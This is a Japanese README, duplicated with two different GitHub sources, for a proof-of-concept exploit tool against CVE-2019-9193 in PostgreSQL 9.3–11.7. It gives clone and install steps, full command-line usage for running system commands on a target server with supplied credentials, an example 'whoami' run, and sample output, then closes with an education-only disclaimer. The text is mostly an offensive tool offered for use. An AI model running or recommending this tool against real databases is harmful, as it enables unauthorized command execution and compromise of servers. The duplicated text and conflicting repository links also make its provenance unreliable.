
特定のPostgreSQLバージョン(9.3~11.7)における認証済みリモートコード実行(RCE)脆弱性を悪用するために設計されたPoCツール
GenPostgresRCEExploit は、特定バージョンの PostgreSQL (9.3 ~ 11.7) における認証済みリモートコード実行 (RCE) 脆弱性を悪用するために設計された PoC ツールです。認証されたユーザーが、CVE-2019-9193 の影響を受ける PostgreSQL データベースサーバー上でシステムコマンドを実行できるようにします。
pip から psycopg2)apt から libpq-dev)git clone https://github.com/AxthonyV/CVE-2019-9193
cd CVE-2019-9193
pip install -r requirements.txt
python3 GenPostgresRCEExploit.py -i <target_ip> -p <port> -d <database_name> -U <username> -P <password> -c "<system_command>"
-i, --ip: PostgreSQL サーバーの IP アドレス (デフォルト: 127.0.0.1)-p, --port: PostgreSQL サーバーのポート (デフォルト: 5432)-d, --database: PostgreSQL データベース名 (デフォルト: template1)-U, --user: PostgreSQL サーバーに接続するユーザー名 (デフォルト: postgres)-P, --password: PostgreSQL サーバーに接続するパスワード (デフォルト: postgres)-c, ---command: サーバー上で実行するシステムコマンド-t, --timeout: 接続タイムアウト (秒) (デフォルト: 10)python3 GenPostgresRCEExploit.py -i 192.168.1.10 -p 5432 -d mydb -U myuser -P mypass -c "whoami"
この例では、192.168.1.10 の PostgreSQL サーバーに接続し、指定された認証情報で認証した後、whoami コマンドを実行します。
$ python3 GenPostgresRCEExploit.py -i 192.168.1.10 -p 5432 -d testdb -U postgres -P mypassword -c "whoami"
[+] PostgreSQL データベースに接続中: 192.168.1.10:5432
[+] 接続が正常に確立されました
[+] PostgreSQL バージョンチェック
[+] 脆弱な PostgreSQL バージョンを検出: 10.4
[+] 一時テーブル作成: temp_3f8b8f9e2c9c11d7bd8f7c61d4e9eaf2
[+] コマンドが正常に実行されました
postgres
このツールは教育目的および倫理的なテスト専用に作られています。許可なくシステムに対してこのツールを使用することは違法であり、厳しく禁止されています。作者は誤用に対して一切の責任を負いません。
GenPostgresRCEExploit は、特定バージョンの PostgreSQL (9.3 ~ 11.7) におけるリモートコード実行 (RCE) 脆弱性を悪用するために設計された PoC エクスプロイトです。このプログラムにより、認証されたユーザーは CVE-2019-9193 の影響を受ける PostgreSQL サーバー上でシステムコマンドを実行できます。
psycopg2 パッケージ)git clone https://github.com/geniuszly/CVE-2019-9193
cd CVE-2019-9193
pip install -r requirements.txt
python3 GenPostgresRCEExploit.py -i <IP アドレス> -p <ポート> -d <データベース名> -U <ユーザー> -P <パスワード> -c "<システムコマンド>"
-i, --ip: PostgreSQL サーバーの IP アドレス (デフォルト: 127.0.0.1)-p, --port: PostgreSQL サーバーのポート (デフォルト: 5432)-d, --database: PostgreSQL データベース名 (デフォルト: template1)-U, --user: PostgreSQL サーバーに接続するユーザー名 (デフォルト: postgres)-P, --password: PostgreSQL サーバーに接続するパスワード (デフォルト: postgres)-c, --command: サーバー上で実行するシステムコマンド-t, --timeout: 接続タイムアウト (秒) (デフォルト: 10)python3 GenPostgresRCEExploit.py -i 192.168.1.10 -p 5432 -d mydb -U myuser -P mypass -c "whoami"
この例では、プログラムは 192.168.1.10 の PostgreSQL サーバーに接続し、指定された認証情報で認証した後、whoami コマンドを実行します。
$ python3 GenPostgresRCEExploit.py -i 192.168.1.10 -p 5432 -d testdb -U postgres -P mypassword -c "whoami"
[+] PostgreSQL データベースに接続中: 192.168.1.10:5432
[+] 接続が正常に確立されました
[+] PostgreSQL バージョンチェック
[+] 脆弱な PostgreSQL バージョンを検出: 10.4
[+] 一時テーブル作成: temp_3f8b8f9e2c9c11d7bd8f7c61d4e9eaf2
[+] コマンドが正常に実行されました
postgres
このツールは教育目的および合法的なテストのみを目的としています。許可なくシステムに対してこのツールを使用することは違法であり、厳しく禁止されています。作者は誤用について一切の責任を負いません。